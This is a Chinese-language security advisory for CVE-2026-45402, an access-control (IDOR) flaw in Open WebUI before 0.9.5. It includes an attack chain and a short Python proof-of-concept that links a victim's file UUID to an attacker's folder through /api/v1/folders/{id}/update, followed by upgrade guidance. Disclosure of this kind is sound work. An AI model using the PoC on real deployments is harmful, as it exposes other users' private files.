IPBUF安全漏洞报告
English
CVE-2026-45402 CVSS 8.1 高危

CVE-2026-45402 Open WebUI 访问控制漏洞致文件泄露

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45402
漏洞类型
权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

IDOR权限绕过Open WebUI文件泄露CVE-2026-45402

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.5版本之前,由于多个端点在处理用户提供的file_id时未验证调用者是否拥有该文件的访问权限,导致存在一个严重的访问控制缺陷。攻击者可以利用此漏洞,通过已知的文件UUID,将其他用户的私有文件关联到自己控制的资源(如文件夹或知识库)中,进而窃取任意私密文件数据,甚至在特定路径下覆盖目标文件。该漏洞允许任何经过身份验证的用户执行这些操作,严重威胁系统数据的机密性和完整性。

技术细节

该漏洞的核心原理在于不安全的直接对象引用(IDOR)。受影响的代码位于`backend/open_webui/routers/folders.py`和`backend/open_webui/routers/knowledge.py`中。具体来说,`POST /api/v1/folders/{id}/update`、`add_file_to_knowledge_by_id`以及`add_files_to_knowledge_by_id_batch`等接口直接接收用户提交的`file_id`参数。系统在处理这些请求时,仅验证了调用者对目标文件夹或知识库的权限,却完全忽略了对`file_id`所指向文件的所有权校验。利用方式要求攻击者首先注册并登录系统(低权限用户),然后通过某种方式猜测或枚举目标文件的UUID。一旦获得UUID,攻击者即可构造恶意请求,利用上述API将自己控制的资源与目标文件进行绑定。绑定成功后,通过下游的RAG(检索增强生成)或文件内容获取接口,攻击者即可读取原本无权访问的文件内容。此外,在知识库路径下,该机制还可能被用于覆盖文件,造成完整性破坏。

攻击链分析

STEP 1
侦察
攻击者注册并登录Open WebUI平台,获取有效的身份认证令牌。
STEP 2
枚举
攻击者尝试猜测或通过其他途径获取目标私有文件的UUID。
STEP 3
利用
攻击者向受影响的API端点(如/api/v1/folders/{id}/update)发送请求,在请求体中包含受害者的file_id。
STEP 4
权限提升
由于系统未校验file_id的所有权,系统将受害者的文件关联到攻击者的资源下。
STEP 5
数据窃取
攻击者通过常规文件访问接口读取或下载已关联的受害者私有文件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-45402: Open WebUI IDOR Vulnerability # This script demonstrates how an authenticated user can attach another user's file to their folder. TARGET_URL = "http://localhost:3000" ATTACKER_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Replace with valid JWT VICTIM_FILE_ID = "550e8400-e29b-41d4-a716-446655440000" # Replace with target file UUID ATTACKER_FOLDER_ID = "123e4567-e89b-12d3-a456-426614174000" # Replace with attacker's folder ID headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Exploit via /api/v1/folders/{id}/update url = f"{TARGET_URL}/api/v1/folders/{ATTACKER_FOLDER_ID}/update" payload = { "file_id": VICTIM_FILE_ID, "name": "Stolen File" } print(f"[*] Sending request to {url}...") response = requests.post(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! File attached to attacker's folder.") print("[+] Attacker can now access the file content via RAG or download endpoints.") else: print(f"[-] Failed with status code {response.status_code}") print(response.text)

影响范围

Open WebUI < 0.9.5

防御指南

临时缓解措施
建议立即将Open WebUI升级至0.9.5版本以修复此漏洞。如果无法立即升级,应严格限制对文件上传和管理接口的网络访问,仅允许受信任的内部IP访问,并密切监控日志中是否存在异常的文件夹更新或文件绑定操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表